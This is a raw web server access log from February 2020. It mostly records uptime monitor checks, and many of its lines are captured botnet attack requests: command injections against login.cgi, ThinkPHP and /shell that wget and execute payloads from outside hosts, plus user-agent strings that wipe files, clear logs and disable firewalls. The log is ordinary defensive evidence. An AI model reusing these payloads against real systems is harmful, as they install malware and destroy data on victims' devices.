212.91.246.72 - - [17/Feb/2020:01:26:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:01:27:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:01:28:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.215.194.220 - - [17/Feb/2020:01:29:30 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:01:29:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.83.66.87 - - [17/Feb/2020:01:29:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0"
212.91.246.72 - - [17/Feb/2020:01:30:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.9.245.56 - - [17/Feb/2020:01:31:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
95.9.245.56 - - [17/Feb/2020:01:31:43 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:01:31:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.228.13.219 - - [17/Feb/2020:01:32:18 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
88.247.85.172 - - [17/Feb/2020:01:32:50 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:01:32:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
168.121.139.2 - - [17/Feb/2020:01:33:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [17/Feb/2020:01:33:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
176.40.210.12 - - [17/Feb/2020:01:34:21 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:01:34:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
201.114.147.225 - - [17/Feb/2020:01:35:33 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [17/Feb/2020:01:35:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:01:36:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:01:37:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:01:38:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.168.10.239 - - [17/Feb/2020:01:39:02 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:01:39:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.154.107.39 - - [17/Feb/2020:01:40:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [17/Feb/2020:01:40:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
197.203.3.14 - - [17/Feb/2020:01:41:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [17/Feb/2020:01:41:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.112.79.59 - - [17/Feb/2020:01:42:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [17/Feb/2020:01:42:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.97.196.40 - - [17/Feb/2020:01:43:20 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:01:43:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:01:44:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.168.10.239 - - [17/Feb/2020:01:45:20 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:01:45:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:01:46:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:01:47:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:01:48:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:01:49:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:01:50:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:01:51:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:01:52:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
125.230.29.82 - - [17/Feb/2020:01:53:49 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [17/Feb/2020:01:53:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.186.190.8 - - [17/Feb/2020:01:54:19 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:01:54:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:01:55:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:01:56:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:01:57:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:01:58:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:01:59:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.189.200.210 - - [17/Feb/2020:02:00:02 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
85.97.196.40 - - [17/Feb/2020:02:00:21 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:02:00:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
134.249.183.209 - - [17/Feb/2020:02:01:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
187.76.144.98 - - [17/Feb/2020:02:01:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
187.76.144.98 - - [17/Feb/2020:02:01:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [17/Feb/2020:02:01:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.56.33.86 - - [17/Feb/2020:02:02:09 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
187.76.144.98 - - [17/Feb/2020:02:02:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
85.97.196.40 - - [17/Feb/2020:02:02:30 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:02:02:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
35.220.160.88 - - [17/Feb/2020:02:03:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [17/Feb/2020:02:03:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:02:04:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:02:05:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
139.162.106.181 - - [17/Feb/2020:02:06:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
212.91.246.72 - - [17/Feb/2020:02:06:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:02:07:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:02:08:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.139.187.145 - - [17/Feb/2020:02:09:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [17/Feb/2020:02:09:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:02:10:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.168.10.239 - - [17/Feb/2020:02:11:49 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:02:11:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
180.242.244.73 - - [17/Feb/2020:02:12:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [17/Feb/2020:02:12:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:02:13:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.85.91.19 - - [17/Feb/2020:02:14:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [17/Feb/2020:02:14:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:02:15:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:02:16:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.253.152.169 - - [17/Feb/2020:02:17:07 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:02:17:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.7.230.83 - - [17/Feb/2020:02:17:55 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:02:18:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:02:19:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:02:20:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.186.190.8 - - [17/Feb/2020:02:21:18 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
66.154.107.39 - - [17/Feb/2020:02:21:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [17/Feb/2020:02:21:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:02:22:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:02:23:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.187.199.155 - - [17/Feb/2020:02:24:35 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:02:24:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.192.180.178 - - [17/Feb/2020:02:25:15 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [17/Feb/2020:02:25:19 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [17/Feb/2020:02:25:25 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [17/Feb/2020:02:25:37 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [17/Feb/2020:02:25:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.192.180.178 - - [17/Feb/2020:02:26:01 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
217.65.86.254 - - [17/Feb/2020:02:26:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [17/Feb/2020:02:26:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:02:27:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:02:28:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
201.220.191.118 - - [17/Feb/2020:02:29:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
168.232.13.206 - - [17/Feb/2020:02:29:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [17/Feb/2020:02:29:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.21.102.246 - - [17/Feb/2020:02:30:18 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:19 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.21.102.246 - - [17/Feb/2020:02:30:19 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
